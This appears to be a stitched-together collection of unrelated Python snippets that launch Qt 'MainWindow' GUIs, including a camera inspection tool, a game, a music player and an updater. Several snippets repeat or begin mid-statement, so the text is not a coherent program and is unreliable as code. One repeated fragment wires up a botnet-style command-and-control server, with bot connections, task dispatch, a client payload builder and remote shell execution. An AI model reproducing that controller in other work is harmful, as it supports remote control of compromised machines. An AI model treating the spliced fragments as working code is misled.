def main(): app = QApplication(sys.argv) win = MainWindow() win.show() app.exec_()
def showMainWindow(self): if not self.is_mainWindow_showed and self.ADP_filePath: self.mainWindow = MainWindow(self.ADP_filePath) leftEdge = self.monitor_width - 640 topEdge = self.frameGeometry().y() + self.frameGeometry().height() width = 640 height = self.monitor_height - self.geometry().height() - 45 self.mainWindow.setGeometry(leftEdge, topEdge, width, height) self.mainWindow.setWindowFlags(Qt.FramelessWindowHint) self.mainWindow.show() self.is_mainWindow_showed = True
def read_config_file(self, config: dict): """Start GUI and C2 server.""" self.logger.info("Configuration files found") gui_ip, gui_port, gui_key = config.get("gui_ip"), config.get("gui_port"), config.get("gui_key").encode() self.config_manager.config_get.connect(self.gui_server.on_config_get) self.config_manager.available_tasks.connect(self.gui_server.on_get_tasks) self.gui_server.get_config.connect(self.config_manager.get) self.gui_server.close_app.connect(self.exit) self.gui_server.stop_task.connect(self.c2server.stop_task) self.gui_server.start_task.connect(self.c2server.send_task) self.gui_server.get_tasks.connect(self.config_manager.on_gui_server_get_tasks) self.gui_server.force_start_task.connect(self.c2server.force_start_task) self.builder.build_error.connect(self.gui_server.on_build_error) self.builder.build_stopped.connect(self.gui_server.on_build_stopped) self.builder.build_options.connect(self.gui_server.on_build_options) self.builder.build_finished.connect(self.gui_server.on_build_finished) self.builder.generator_progress.connect(self.gui_server.on_generator_progress) self.builder.generator_finished.connect(self.gui_server.on_generator_finished) self.builder.generator_started.connect(self.gui_server.on_generator_started) self.gui_server.build_options.connect(self.builder.get_options) self.gui_server.build_stop.connect(self.builder.stop) self.gui_server.build_start.connect(self.builder.start) self.logger.info("Starting GUI server") self.gui_server.start(gui_ip, gui_port, gui_key) self.c2server.connected.connect(self.on_bot_connected) self.c2server.disconnected.connect(self.gui_server.on_bot_disconnected) self.c2server.task.connect(self.gui_server.on_bot_task) self.c2server.info.connect(self.gui_server.on_bot_info) self.c2server.log.connect(self.gui_server.on_bot_log) self.c2server.shell_output.connect(self.gui_server.on_shell_output) self.c2server.shell_error.connect(self.gui_server.on_shell_error) self.gui_server.run_shell.connect(self.c2server.run_shell) self.logger.info("Starting C2 server") self.c2server.start(config.get("c2_ip"), config.get("c2_port"), config.get("c2_key").encode()) if self.start_gui: self.gui = MainWindow(local=True) self.gui.show() self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key)
class Client(): def __init__(self): self.user = None self.userService = UserService() self.blogService = AlkaidService(BaseService_pb2.MessageType.BLOG) self.imageService = ImageService() self.login = LoginWindow(self) def zhuce_click(self): self.zhuce = Ui_Zhuce(self.s) self.zhuce.show() self.zhuce.textB() def loginSuccess(self): self.login.hide() self.mainwin = MainWindow(self) self.mainwin.show()
class Main(object): bool = True def __init__(self): self.mainWindow = MainWindow() self.mainWindow.showLableButton.clicked.connect(self.show_text) def show(self): # Window running self.mainWindow.show() def show_text(self): if self.bool == True: self.bool = False else: self.bool = True self.mainWindow.show_text(self.bool)
def __init__(self): self.fps = 60 self.towers_position = [] self.enemies_positions = [] self.game_player = Player("Player 1", 0, 100) self.main_window = MainWindow(self.game_player) self.timer = QTimer() self.timer.timeout.connect(self.main_window.updateUI) self.timer.start(self.REFRESH_RATE) self.start_game()
class Main(object): def __init__(self): self.mainWindow = MainWindow() self.evalManager = EvalManager() self.mainWindow.batchDetectButton.clicked.connect( lambda: self.detect(0)) self.mainWindow.detectButton.clicked.connect(lambda: self.detect(1)) def show(self): # Window running self.mainWindow.show() def detect(self, type): self.evalManager.init() if type == 0: result = self.evalManager.predict_batch() else: result = self.evalManager.predict_single( self.mainWindow.image_path) for i in result: self.mainWindow.show_message(i)
def start_first_setup(self): """Start GUI server with no config file.""" gui_ip, gui_port, gui_key = self.gui_server.start_setup() self.gui_server.save_config.connect(self.config_manager.save) self.gui_server.get_config.connect(self.config_manager.get) self.gui_server.setup_options.connect(self.config_manager.on_gui_server_get_setup_options) self.gui_server.connected.connect(self.gui_server.on_connected_no_config) self.gui_server.close_app.connect(self.exit) self.config_manager.config_error.connect(self.gui_server.on_config_error) self.config_manager.config_saved.connect(self.gui_server.on_config_saved) self.config_manager.config_get.connect(self.gui_server.on_config_get) self.config_manager.validation_error.connect(self.gui_server.on_config_validation_error) self.config_manager.setup_options.connect(self.gui_server.on_setup_options) self.gui_server.start(gui_ip, gui_port, gui_key) self.logger.info("To start remote first setup, connect to {}:{} using key: {}".format(gui_ip, gui_port, gui_key.decode())) if self.start_gui: self.gui = MainWindow(local=True) self.gui.setup_cancelled.connect(self.exit) self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key.decode())
def __init__(self, args): super(Main, self).__init__(None) self.logger = logging.getLogger(self.__class__.__name__) self.start_gui = not args.nogui self.gui = None self.builder = ClientBuilder() self.gui_server = GUIServer() self.c2server = C2Server() self.config_manager = ConfigManager() if args.reset: self.config_manager.delete_config() if args.remote: self.gui = MainWindow() self.gui.setup_connect_dialog() else: config = self.config_manager.load() if config: self.read_config_file(config) else: self.start_first_setup()
class Main(object): CORRECT_PATH = "data/test/correct/" ERROR_PATH = "data/test/error/" type = 0 cameraTypeId = 0 # 设置计数器的值为 10 correct_list_result = [] correct_avg_result = [] error_list_result = [] error_avg_result = [] max_result = '' min_result = '' avg_result = [] LOG_PATH = "data/log/batch/" # 初始化 def __init__(self): self.mainWindow = MainWindow() # 相机相关初始化 self.cameraManager = CameraManager() self.cameraManager.imageCapturedSignal.connect(self._image_captured) self.currentImage = None self.mainWindow.openCameraSignal.connect(self._open_camera) self.mainWindow.closeCameraSignal.connect(self._close_camera) self.mainWindow.systemSettingDialog.cameraTypeSignal.connect( self.get_cameraTypeId) # 标准图片相关初始化 self.standerImageManager = StandImageManager() self._load_stander_image() self.mainWindow.addStanderImageButton.clicked.connect( self._add_stander_image) self.mainWindow.standerImageListWidget.itemDoubleClicked.connect( self._stander_image_selected) self.mainWindow.removeStanderImageButton.clicked.connect( self._remove_stander_image) self.mainWindow.closeButton.clicked.connect(self._close_stander_image) # 检测设置相关初始化 self.settingManager = SettingManager() self._load_setting() self.mainWindow.settingDialog.addSettingSignal.connect( self._add_setting) self.mainWindow.settingDialog.modifySettingSignal.connect( self._modify_setting) self.mainWindow.settingDialog.removeSettingSignal.connect( self._remove_setting) self.mainWindow.closeButton.clicked.connect(self._close_stander_image) # 检测相关初始化 self.detectManager = DetectManager() self.mainWindow.manualDetectButton.clicked.connect(self._manual_detect) self.mainWindow.startAutoSingnal.connect(self._start_auto) self.mainWindow.closeAutoSingnal.connect(self._close_auto) # 测试图相关初始化 self._load_test_image() self.mainWindow.addCorrectImageButton.clicked.connect( lambda: self._add_test_image(0)) self.mainWindow.addErrorImageButton.clicked.connect( lambda: self._add_test_image(1)) self.mainWindow.correctImageListWidget.itemDoubleClicked.connect( self._test_correct_image_selected) self.mainWindow.errorImageListWidget.itemDoubleClicked.connect( self._test_error_image_selected) self.mainWindow.correctImageListWidget.itemDoubleClicked.connect( self._test_image_detect) self.mainWindow.errorImageListWidget.itemDoubleClicked.connect( self._test_image_detect) self.mainWindow.removeTestImageButton.clicked.connect( self._remove_test_image) self.mainWindow.cleanCorrectImageListButton.clicked.connect( lambda: self._clean_image_list(0)) self.mainWindow.cleanErrorImageListButton.clicked.connect( lambda: self._clean_image_list(1)) self.mainWindow.importCorrectImageButton.clicked.connect( lambda: self._import_image(0)) self.mainWindow.importErrorImageButton.clicked.connect( lambda: self._import_image(1)) self.mainWindow.batchDetectButton.clicked.connect( self._batch_image_detect) self.log_file = open(self.LOG_PATH + datetime.now().date().strftime('%Y%m%d') + '.log', 'a', encoding='utf-8') self.udp_socket = None self.address = None self.server_th = None self.msg = None self.mainWindow.systemSettingDialog.settings = self.settingManager.settings def show(self): # 窗体运行 self.mainWindow.show() # 输出错误信息 def show_error(self, msg): self.mainWindow.show_error(msg) # 输出警告信息 def show_warning(self, msg): self.mainWindow.show_warning(msg) # 输出信息 def show_message(self, msg): self.mainWindow.show_message(msg) # 获取相机类型参数 def get_cameraTypeId(self, cameraTypeId): self.cameraTypeId = cameraTypeId def _start_auto(self): self.mainWindow.set_auto_status(True) self._auto_detect() def _close_auto(self): self.mainWindow.set_auto_status(False) if self.udp_socket: self._stop_thread(self.server_th) self.udp_socket.close() # 启动相机 def _open_camera(self): if self.cameraManager.open(self.cameraTypeId): self.mainWindow.set_camera_status(True) self.cameraManager.start_capture() self.show_message("相机启动") else: self.show_error("相机启动失败") # 关闭相机 def _close_camera(self): self.cameraManager.close() self.mainWindow.set_camera_status(False) self.show_message("相机关闭") # 相机捕获到画面 def _image_captured(self, image): if image is None: self._close_camera() self.show_error("获取画面失败") else: self.currentImage = image self.mainWindow.show_image(image) # 加载已存在的标准图片 def _load_stander_image(self): for standerImage in self.standerImageManager.standerImages: self.mainWindow.add_stander_image_item(standerImage[0], standerImage[1]) # 添加标准图片 def _add_stander_image(self): if self.currentImage is not None: file_name = self.standerImageManager.add(self.currentImage) self.mainWindow.add_stander_image_item(file_name, self.currentImage) # 标准图片被选中的事件处理 def _stander_image_selected(self, selected_item): if self.cameraManager.is_opened(): self.cameraManager.stop_capture() self.mainWindow.show_image(selected_item.image) # 关闭标准图片 def _close_stander_image(self): if self.cameraManager.is_opened(): self.cameraManager.start_capture() # 删除标准图片 def _remove_stander_image(self): if not self.mainWindow.show_confirm("确定要删除此标准图片吗?"): return self._close_stander_image() self.standerImageManager.remove( self.mainWindow.selectedStanderImageItem.text()) self.mainWindow.remove_stander_image_item() def _add_setting(self, setting): self.settingManager.add(setting) self.mainWindow.add_setting_item(setting) def _modify_setting(self, setting): self.settingManager.modify(setting) self.mainWindow.modify_setting_item(setting) def _remove_setting(self, setting): self.settingManager.remove(setting) self.mainWindow.remove_setting_item() # 加载设置 def _load_setting(self): for setting in self.settingManager.settings: self.mainWindow.add_setting_item(setting) def _manual_detect(self): self.detectManager.init(self.standerImageManager.standerImages, self.settingManager.settings) self._detect_result(self.currentImage) def _auto_detect(self): detect_single = self.mainWindow.systemSettingDialog.detect_signal # 信号值等于 1 为实时检测 # 信号值等于 0 为外部信号检测 if detect_single == 1: self.detectManager.init( self.standerImageManager.standerImages, self.mainWindow.systemSettingDialog.pre_setting) self._internal_detect() elif detect_single == 0: self.detectManager.init(self.standerImageManager.standerImages, self.settingManager.settings) self._external_detect() else: self.show_error("请先设置自动检测方式在进行操作") def _internal_detect(self): self.show_message("正在进行预检测\t") result = self.detectManager.detect(self.currentImage) if 1.0 in result[0]: self.show_message("预检测通过,开始正式检测\t") self._manual_detect() else: self.show_message("预检测不通过,无法开始正式检测\t") if self.mainWindow.isAutoStarted == True: self._internal_detect() else: return def _external_detect(self): IP = self.mainWindow.systemSettingDialog.IP port = self.mainWindow.systemSettingDialog.port self.show_message("正在接受信号") if self.mainWindow._isCameraOpened == True: self._udp_server_start(IP, port) def _udp_server_start(self, IP, port): self.udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) address = (str(IP), int(port)) self.udp_socket.bind(address) self.server_th = threading.Thread(target=self._udp_server_concurrency) self.server_th.start() def _udp_server_concurrency(self): while True: recv_msg = self.udp_socket.recvfrom(1024) self.msg = recv_msg[0] if b'1' in recv_msg[0]: self._detect_result(self.currentImage) else: self.show_message("未检测到信号") def _async_raise(self, tid, exctype): tid = ctypes.c_long(tid) if not inspect.isclass(exctype): exctype = type(exctype) ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, ctypes.py_object(exctype)) def _stop_thread(self, thread): self._async_raise(thread.ident, SystemExit) def _test_image_detect(self, selected_item): # 双击后进行检测 # 当选中时从文件夹中取出图片数据 if self.type == 1: folder_path = self.ERROR_PATH else: folder_path = self.CORRECT_PATH image = self._img_read(folder_path + selected_item.text()) self.detectManager.init(self.standerImageManager.standerImages, self.settingManager.settings) self._detect_result(image) def _detect_result(self, image): setting = self.settingManager.settings detect_result = self.detectManager.detect(image) for i in range(len(setting)): msg = "检测:" + str(setting[i][1]) + "\n" msg += "结果:" + str(detect_result[0][i]) + "\n" msg += "平均值:" + str(detect_result[1][i]) + "\n" msg += "检测结果:" + str(detect_result[2][i]) + "\n" self.show_message(msg) def _load_test_image(self): # 加载已存在的正确测试图片 for testCorrectImage in self.mainWindow.testCorrectImages: self.mainWindow.add_test_item(testCorrectImage, 0) # 加载已存在的错误测试图片 for testErrorImage in self.mainWindow.testErrorImages: self.mainWindow.add_test_item(testErrorImage, 1) def _add_test_image(self, type): if self.currentImage is not None: self.mainWindow.add_test_image(self.currentImage, type) def _test_correct_image_selected(self, selected_item): self._test_image_selected(selected_item, 0) def _test_error_image_selected(self, selected_item): self._test_image_selected(selected_item, 1) def _test_image_selected(self, item, type): if type == 0: # 告知检测模块检测的是哪一列表的图片 # 以及得到对应的路径 # 0: 正确列表 # 1: 错误列表 current_path = self.CORRECT_PATH self.type = 0 else: current_path = self.ERROR_PATH self.type = 1 image = self._img_read(current_path + item.text()) if self.cameraManager.is_opened(): self.cameraManager.stop_capture() self.mainWindow.show_image(image) def _batch_image_detect(self): if self.mainWindow.testCorrectImages and self.mainWindow.testErrorImages: self.detectManager.init(self.standerImageManager.standerImages, self.settingManager.settings) self.correct_list_result.clear() self.correct_avg_result.clear() self.error_list_result.clear() self.error_avg_result.clear() for testImage in self.mainWindow.testCorrectImages: target_file = self.CORRECT_PATH + testImage self._image_list_detect(target_file, 0) for testImage in self.mainWindow.testErrorImages: target_file = self.ERROR_PATH + testImage self._image_list_detect(target_file, 1) localtime = time.strftime("%H:%M:%S", time.localtime()) self.log_file.write("本地时间: " + localtime + '\n') self.log_file.write("正确列表检查结果" + '\n') self.show_message("本地时间: " + localtime) self._batch_detect_result(0) self.log_file.write("错误列表检查结果" + '\n') self._batch_detect_result(1) self.show_warning("检测完毕,请在控制界面查看结果。") else: self.show_warning("列表为空,无法进行批量检查。") def _image_list_detect(self, target, type): if type == 0: list_results = self.correct_list_result avg_results = self.correct_avg_result else: list_results = self.error_list_result avg_results = self.error_avg_result image = self._img_read(target) detect_result = self.detectManager.detect(image) list_results.append(detect_result[0]) avg_results.append(detect_result[1]) def _batch_detect_result(self, type): list_settings = self.settingManager.settings if type == 0: result_title = "正确列表批量检测结果" list_results = self.correct_list_result list_avg = self.correct_avg_result else: result_title = "错误列表批量检测结果" list_results = self.error_list_result list_avg = self.error_avg_result self.show_message(result_title) for i in range(len(list_settings)): # 每次遍历前需要清空数组 self.avg_result = [] right_count = 0 wrong_count = 0 msg = "检测:" + str(list_settings[i][1]) + "\n" for j in range(len(list_results)): # 查找第 j 个数组中第 i 个设置的结果 if list_results[j][i] == 1.0: right_count += 1 else: wrong_count += 1 msg += "正确个数:" + str(right_count) + "\n" msg += "错误个数:" + str(wrong_count) + "\n" for k in range(len(list_avg)): self.avg_result.append(list_avg[k][i]) self.max_result = np.around(np.max(self.avg_result), decimals=3) self.min_result = np.around(np.min(self.avg_result), decimals=3) self.avg_result = np.around(np.mean(self.avg_result), decimals=3) msg += "平均值:" + str(self.avg_result) + "\n" msg += "最大值:" + str(self.max_result) + "\n" msg += "最小值" + str(self.min_result) + "\n" self.show_message(msg) self.log_file.write(msg) self.log_file.flush() # 释放掉内存中的临时数组 list_results.clear() list_avg.clear() def _close_test_image(self): # 关闭测试图片 if self.cameraManager.is_opened(): self.cameraManager.start_capture() def _remove_test_image(self): # 删除测试图片 if not self.mainWindow.show_confirm("确定要删除此标准图片吗?"): return self._close_test_image() self.mainWindow.remove_test_image( self.mainWindow.selectedTestImageItem.text()) def _clean_image_list(self, list_type): self.mainWindow.clean_list(list_type) def _import_image(self, list_type): self.mainWindow.import_test_image(list_type) @staticmethod def _img_read(image_path): # 封装图片读取操作 # 主要针对中文命名的图片进行转码使得能够正常读取 image = cv2.imdecode(np.fromfile(image_path, dtype=np.uint8), 1) return image
def __init__(self): self.mainWindow = MainWindow() self.mainWindow.showLableButton.clicked.connect(self.show_text)
class Main(QObject): def __init__(self, args): super(Main, self).__init__(None) self.logger = logging.getLogger(self.__class__.__name__) self.start_gui = not args.nogui self.gui = None self.builder = ClientBuilder() self.gui_server = GUIServer() self.c2server = C2Server() self.config_manager = ConfigManager() if args.reset: self.config_manager.delete_config() if args.remote: self.gui = MainWindow() self.gui.setup_connect_dialog() else: config = self.config_manager.load() if config: self.read_config_file(config) else: self.start_first_setup() @Slot() def start_first_setup(self): """Start GUI server with no config file.""" gui_ip, gui_port, gui_key = self.gui_server.start_setup() self.gui_server.save_config.connect(self.config_manager.save) self.gui_server.get_config.connect(self.config_manager.get) self.gui_server.setup_options.connect(self.config_manager.on_gui_server_get_setup_options) self.gui_server.connected.connect(self.gui_server.on_connected_no_config) self.gui_server.close_app.connect(self.exit) self.config_manager.config_error.connect(self.gui_server.on_config_error) self.config_manager.config_saved.connect(self.gui_server.on_config_saved) self.config_manager.config_get.connect(self.gui_server.on_config_get) self.config_manager.validation_error.connect(self.gui_server.on_config_validation_error) self.config_manager.setup_options.connect(self.gui_server.on_setup_options) self.gui_server.start(gui_ip, gui_port, gui_key) self.logger.info("To start remote first setup, connect to {}:{} using key: {}".format(gui_ip, gui_port, gui_key.decode())) if self.start_gui: self.gui = MainWindow(local=True) self.gui.setup_cancelled.connect(self.exit) self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key.decode()) @Slot(dict) def read_config_file(self, config: dict): """Start GUI and C2 server.""" self.logger.info("Configuration files found") gui_ip, gui_port, gui_key = config.get("gui_ip"), config.get("gui_port"), config.get("gui_key").encode() self.config_manager.config_get.connect(self.gui_server.on_config_get) self.config_manager.available_tasks.connect(self.gui_server.on_get_tasks) self.gui_server.get_config.connect(self.config_manager.get) self.gui_server.close_app.connect(self.exit) self.gui_server.stop_task.connect(self.c2server.stop_task) self.gui_server.start_task.connect(self.c2server.send_task) self.gui_server.get_tasks.connect(self.config_manager.on_gui_server_get_tasks) self.gui_server.force_start_task.connect(self.c2server.force_start_task) self.builder.build_error.connect(self.gui_server.on_build_error) self.builder.build_stopped.connect(self.gui_server.on_build_stopped) self.builder.build_options.connect(self.gui_server.on_build_options) self.builder.build_finished.connect(self.gui_server.on_build_finished) self.builder.generator_progress.connect(self.gui_server.on_generator_progress) self.builder.generator_finished.connect(self.gui_server.on_generator_finished) self.builder.generator_started.connect(self.gui_server.on_generator_started) self.gui_server.build_options.connect(self.builder.get_options) self.gui_server.build_stop.connect(self.builder.stop) self.gui_server.build_start.connect(self.builder.start) self.logger.info("Starting GUI server") self.gui_server.start(gui_ip, gui_port, gui_key) self.c2server.connected.connect(self.on_bot_connected) self.c2server.disconnected.connect(self.gui_server.on_bot_disconnected) self.c2server.task.connect(self.gui_server.on_bot_task) self.c2server.info.connect(self.gui_server.on_bot_info) self.c2server.log.connect(self.gui_server.on_bot_log) self.c2server.shell_output.connect(self.gui_server.on_shell_output) self.c2server.shell_error.connect(self.gui_server.on_shell_error) self.gui_server.run_shell.connect(self.c2server.run_shell) self.logger.info("Starting C2 server") self.c2server.start(config.get("c2_ip"), config.get("c2_port"), config.get("c2_key").encode()) if self.start_gui: self.gui = MainWindow(local=True) self.gui.show() self.gui.connect_to_gui_server(gui_ip, gui_port, gui_key) @Slot(Bot, str, int) def on_bot_connected(self, bot, ip, port): """Get basic informations from client.""" infos = self.config_manager.value("after_connection_infos") self.c2server.send_info(bot, infos) self.gui_server.on_bot_connected(bot, ip, port) @Slot(Signal) def connect_log_signal(self, signal): signal.connect(self.gui_server.on_log_signal) @Slot() def close(self): """Gracefully close server and GUI""" self.logger.info("Closing application...") if self.c2server: self.c2server.close() self.c2server.wait() if self.gui_server: self.gui_server.close() self.gui_server.wait() if self.gui: self.gui.close() @Slot() def exit(self): self.close() QApplication.instance().exit()
import sys from PyQt5.QtWidgets import QApplication from view.MainWindow import MainWindow from presenter.MainPresenter import MainPresenter app = QApplication(sys.argv) view = MainWindow() presenter = MainPresenter(view) view.add_listener(presenter) view.show() sys.exit(app.exec_())
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys from PySide import QtGui from app import App from view.MainWindow import MainWindow #------------- MAIN --------------# #Init Qt qApp = QtGui.QApplication(sys.argv) #Initialization of app and main window app = App() mainWindow = MainWindow(app) app.setMainWindow(mainWindow) #controller.loadSavedFile("/home/cecilia/Documents/ProjectTest/ProjectTest.ewp") #Show the main window if mainWindow : mainWindow.show() #Execute qt sys.exit(qApp.exec_())
# Created by Lionel Kornberger at 2019-04-01 import sys from PySide2.QtWidgets import QApplication from view.MainWindow import MainWindow from controller.Controller import Controller if __name__ == '__main__': app = QApplication(sys.argv) ui = MainWindow() ui.show() controller = Controller(ui) ui.set_controller(controller) sys.exit(app.exec_())
def __init__(self): self.mainWindow = MainWindow() self.evalManager = EvalManager() self.mainWindow.batchDetectButton.clicked.connect( lambda: self.detect(0)) self.mainWindow.detectButton.clicked.connect(lambda: self.detect(1))
import sys import qdarkstyle import cgitb from quamash import QEventLoop, QApplication import asyncio #修改logging.config源码以utf-8读取文件 logging.config.fileConfig("logger/logging.conf") # 输出日志到控制台和文件,获取的是root对应的logger #logger = logging.getLogger() # import os # curPath = os.path.abspath(os.path.dirname(__file__)) # rootPath = curPath[:curPath.rfind("Toolbox") + len("Toolbox")] # Toolbox,也就是项目的根路径 # os.chdir(rootPath) cgitb.enable(logdir=r'logger/cgitb', format='text') app = QApplication(sys.argv) style.setScrollBarStyle(app) #app.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5()) # 将Qt事件循环写到asyncio事件循环里。 # QEventLoop不是Qt原生事件循环, # 是被asyncio重写的事件循环。 loop = QEventLoop(app) asyncio.set_event_loop(loop) with loop: Form = MainWindow() Form.resize(1200, 800) #Form.resize(800, 600) Form.show() loop.run_forever()
import sys from analysis import BrainAnalysis from view.MainWindow import MainWindow if __name__ == "__main__": if "-analysis" in sys.argv: BrainAnalysis.main() else: initial_app = MainWindow() initial_app.mainloop() print("Application Closed")
last_version) deb_data = urllib2.urlopen(deb_url) from tempfile import gettempdir with open( os.path.join(gettempdir(), "gvarvi_last.deb"), "wb") as f: f.write(deb_data.read()) subprocess.call(["xdg-open", f.name]) sys.exit(0) elif sys_plat == "win32" or sys_plat == "darwin": import webbrowser webbrowser.open('https://github.com/milegroup/gVarvi') elif last_version == VERSION: logger.debug( "Last version of gVARVI ({}) is already installed".format( VERSION)) except urllib2.HTTPError as e: logger.info(e.message) except urllib2.URLError as e: logger.info(e.message) # Application initialization from view.MainWindow import MainWindow app = GVarviApp() frame = MainWindow("gVARVI", main_facade) frame.Show() app.MainLoop()
# This Python file uses the following encoding: utf-8 import json import sys import sentence_mixing as sm from PySide2.QtWidgets import QApplication from view.MainWindow import MainWindow, load_project if __name__ == "__main__": app = QApplication([]) config_path = "config.json" with open(config_path) as f: config = json.load(f) if "NODES" in config: sm.logic.parameters.NODES = config["NODES"] sm.sentence_mixer.prepare_sm_config_dict(config) window = None if len(sys.argv) > 1: window = MainWindow(load_project(sys.argv[1])) else: window = MainWindow.fromNew() if window is not None: window.show() sys.exit(app.exec_())
class MenuBar(QMainWindow, Ui_ATPMainWindow): def __init__(self, filePath): # 窗体创建 super(MenuBar, self).__init__() self.setupUi(self) self.mainWindow = None self.ADP_filePath = filePath work_area = win32api.GetMonitorInfo(win32api.MonitorFromPoint( (0, 0))).get("Work") self.monitor_width = work_area[2] - 20 self.monitor_height = work_area[3] # self.setGeometry(0, 0, self.monitor_width, 25) self.resize(self.monitor_width, 25) self.move(0, 0) # mainWindow是否被打开 self.is_mainWindow_showed = False # 菜单栏事件 self.actionupdateATP.triggered.connect(self.updateATP) self.actionrunATP.triggered.connect(self.runATP) self.actionloadADP.triggered.connect(self.load_new_project) def load_new_project(self): file = QFileDialog.getOpenFileName(self, "选取项目文件", '', 'ADP or ACP Files(*.adp *.acp)') if not file: return path = str(file[0]) # 选中后 if path: # 处理存储最近项目的txt文件 item_list = RecentItemRW.read_recent_items() count = len(item_list) if count == 0: item_list.append(path) else: if item_list[count - 1] != path: if count == 6: del item_list[0] item_list.append(path) button = QMessageBox.question( self, "Question", self.tr("是否打开新项目替代当前项目(选择Cancel新建窗口)"), QMessageBox.Ok | QMessageBox.Cancel, QMessageBox.Ok) if button == QMessageBox.Ok: # 接口 刷新当前界面 self.mainWindow.loadProject(path) # 调整ATPdraw大小 self.showATPdraw() elif button == QMessageBox.Cancel: self.newItem_menuBar = MenuBar(path) self.newItem_menuBar.show() self.newItem_menuBar.showMainWindow() self.newItem_menuBar.showATPdraw() # 调用mainwindow的runAtp函数 def runATP(self): if self.mainWindow: self.mainWindow.on_atp_run_clicked() # 调用mainwindow的updateAtp函数 def updateATP(self): if self.mainWindow: self.mainWindow.on_atp_update_clicked() def showMainWindow(self): if not self.is_mainWindow_showed and self.ADP_filePath: self.mainWindow = MainWindow(self.ADP_filePath) leftEdge = self.monitor_width - 640 topEdge = self.frameGeometry().y() + self.frameGeometry().height() width = 640 height = self.monitor_height - self.geometry().height() - 45 self.mainWindow.setGeometry(leftEdge, topEdge, width, height) self.mainWindow.setWindowFlags(Qt.FramelessWindowHint) self.mainWindow.show() self.is_mainWindow_showed = True def showATPdraw(self): topEdge = int(self.geometry().y() + self.geometry().height() + 5) + 4 leftEdge = 0 width = int(self.monitor_width - 640) height = int(self.monitor_height - self.geometry().height() - 45) # 需要一个接口来控制atpdraw的位置大小 self.mainWindow.modify_ATPDRaw_size(leftEdge, topEdge, width, height) def closeEvent(self, *args, **kwargs): if self.is_mainWindow_showed: self.mainWindow.close() self.close()
#of the License, or (at your option) any later version. #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. from PyQt5 import QtCore from PyQt5.QtWidgets import QApplication import sys, os from view.MainWindow import MainWindow import encodings if __name__ == '__main__': current_exit_code = MainWindow.EXIT_CODE_REBOOT while current_exit_code == MainWindow.EXIT_CODE_REBOOT: app = QApplication(sys.argv) translator = QtCore.QTranslator() #(filepath,filename)=os.path.split(__file__) #trad_path=os.path.join(filepath,'translate','fr_FR.qm') #translator.load(os.path.join(trad_path)) app.installTranslator(translator) mainWindow = MainWindow(translator) MainWindow.show(mainWindow) #sys.exit(app.exec_()) current_exit_code = app.exec_() app = None
import sys from PyQt5.QtWidgets import QApplication from controller.controller import Controller from model.main import Model import sys from PyQt5.QtWidgets import * # from view.MainWindow import MainWindow from view.MainWindow import MainWindow if __name__ == '__main__': app = QApplication(sys.argv) view = MainWindow() view.show() controller = Controller(model=Model(), view = view) sys.exit(app.exec_())
def main(): qq_music = QApplication(sys.argv) win = MainWindow() win.center() win.show() sys.exit(qq_music.exec_())
def loginSuccess(self): self.login.hide() self.mainwin = MainWindow(self) self.mainwin.show()
def __init__(self): self.mainWindow = MainWindow() # 相机相关初始化 self.cameraManager = CameraManager() self.cameraManager.imageCapturedSignal.connect(self._image_captured) self.currentImage = None self.mainWindow.openCameraSignal.connect(self._open_camera) self.mainWindow.closeCameraSignal.connect(self._close_camera) self.mainWindow.systemSettingDialog.cameraTypeSignal.connect( self.get_cameraTypeId) # 标准图片相关初始化 self.standerImageManager = StandImageManager() self._load_stander_image() self.mainWindow.addStanderImageButton.clicked.connect( self._add_stander_image) self.mainWindow.standerImageListWidget.itemDoubleClicked.connect( self._stander_image_selected) self.mainWindow.removeStanderImageButton.clicked.connect( self._remove_stander_image) self.mainWindow.closeButton.clicked.connect(self._close_stander_image) # 检测设置相关初始化 self.settingManager = SettingManager() self._load_setting() self.mainWindow.settingDialog.addSettingSignal.connect( self._add_setting) self.mainWindow.settingDialog.modifySettingSignal.connect( self._modify_setting) self.mainWindow.settingDialog.removeSettingSignal.connect( self._remove_setting) self.mainWindow.closeButton.clicked.connect(self._close_stander_image) # 检测相关初始化 self.detectManager = DetectManager() self.mainWindow.manualDetectButton.clicked.connect(self._manual_detect) self.mainWindow.startAutoSingnal.connect(self._start_auto) self.mainWindow.closeAutoSingnal.connect(self._close_auto) # 测试图相关初始化 self._load_test_image() self.mainWindow.addCorrectImageButton.clicked.connect( lambda: self._add_test_image(0)) self.mainWindow.addErrorImageButton.clicked.connect( lambda: self._add_test_image(1)) self.mainWindow.correctImageListWidget.itemDoubleClicked.connect( self._test_correct_image_selected) self.mainWindow.errorImageListWidget.itemDoubleClicked.connect( self._test_error_image_selected) self.mainWindow.correctImageListWidget.itemDoubleClicked.connect( self._test_image_detect) self.mainWindow.errorImageListWidget.itemDoubleClicked.connect( self._test_image_detect) self.mainWindow.removeTestImageButton.clicked.connect( self._remove_test_image) self.mainWindow.cleanCorrectImageListButton.clicked.connect( lambda: self._clean_image_list(0)) self.mainWindow.cleanErrorImageListButton.clicked.connect( lambda: self._clean_image_list(1)) self.mainWindow.importCorrectImageButton.clicked.connect( lambda: self._import_image(0)) self.mainWindow.importErrorImageButton.clicked.connect( lambda: self._import_image(1)) self.mainWindow.batchDetectButton.clicked.connect( self._batch_image_detect) self.log_file = open(self.LOG_PATH + datetime.now().date().strftime('%Y%m%d') + '.log', 'a', encoding='utf-8') self.udp_socket = None self.address = None self.server_th = None self.msg = None self.mainWindow.systemSettingDialog.settings = self.settingManager.settings
data = '' scan_count = 0 def plot_scan(plotter, scan): global scan_count plotter.plot_scan(scan) if __name__ == "__main__": mp.set_start_method('spawn') window = MainWindow() simulated = True # if simulated: # # Non-functional # streamer = SimulatedScanStreamer(functools.partial(plot_scan, window.scan_plot)) # streamer.start() # # window.configure_traits() # # streamer.kill() # streamer.join() # else: window.configure_traits() window.terminate()